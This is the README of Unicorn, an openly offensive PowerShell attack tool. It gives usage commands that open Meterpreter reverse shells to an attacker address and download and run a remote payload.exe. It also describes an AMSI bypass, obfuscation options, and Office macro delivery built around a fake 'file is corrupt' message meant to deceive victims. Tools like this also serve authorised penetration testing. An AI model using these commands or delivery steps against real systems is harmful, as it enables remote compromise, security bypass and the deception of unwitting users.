trustedsec/unicornUnicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.
Written by: Dave Kennedy (@HackingDave) Website: https://www.trustedsec.com
Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.
Usage is simple, just run Magic Unicorn (ensure Metasploit is installed if using Metasploit methods and in the right path) and magic unicorn will automatically generate a powershell command that you need to simply cut and paste the powershell code into a command line window or through a payload delivery system. Unicorn supports your own shellcode, cobalt strike, and Metasploit.
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-------------------- Magic Unicorn Attack Vector -----------------------------
PowerShell shellcode injection for x86 and x64 targets.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
Happy Magic Unicorns.
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> <generator options>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help
Unicorn now emits one PowerShell child command. With --amsi inline, the AMSI patch and shellcode loader
run in that same child process. With --amsi off, Unicorn omits the AMSI stage.
Use --profile cmd for an 8191-character command context. Use --profile powershell for a
32767-character context. Unicorn rejects an output that exceeds the selected limit.
Use --arch x86 or --arch x64 to select the child PowerShell architecture. Supply shellcode that
matches that architecture. The default is x86.
Use --obfuscation minimal|moderate|high to select a bounded, semantic-preserving variant. The
manifest records the exact transformations used.
Use --seed <value> to reproduce a generated variant. Each run writes unicorn_manifest.json with the
seed, architecture, AMSI mode, command lengths, APIs, and source shellcode SHA-256.
The loader variant uses either a memset byte-copy loop or Marshal.Copy; the selected API is recorded
in the manifest.
For shellcode attacks, the manifest also records the selected obfuscation profile and its
transformations.
Everything is now generated in powershell_attack.txt, unicorn.rc when Metasploit is used, and
unicorn_manifest.json. The text file contains the code needed to inject the PowerShell attack into
memory. You need a place that supports remote command execution. Use --profile cmd for an 8191-character
command context. This attack also supports windows/download_exec. When using download and execute, run
python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe.
Note that you will need to have a listener enabled in order to capture the attack.
For the macro attack, you will need to go to File, Properties, Ribbons, and select Developer. Once you do that, you will have a developer tab. Create a new macro, call it Auto_Open and paste the generated code into that. This will automatically run. Note that a message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted. You should get a shell through powershell injection after that.
If you are deploying this against Office365/2016+ versions of Word you need to modify the first line of the output from: Sub Auto_Open()
To: Sub AutoOpen()
The name of the macro itself must also be "AutoOpen" instead of the legacy "Auto_Open" naming scheme.
NOTE: WHEN COPYING AND PASTING THE EXCEL, IF THERE ARE ADDITIONAL SPACES THAT ARE ADDED YOU NEED TO REMOVE THESE AFTER EACH OF THE POWERSHELL CODE SECTIONS UNDER VARIABLE "x" OR A SYNTAX ERROR WILL HAPPEN!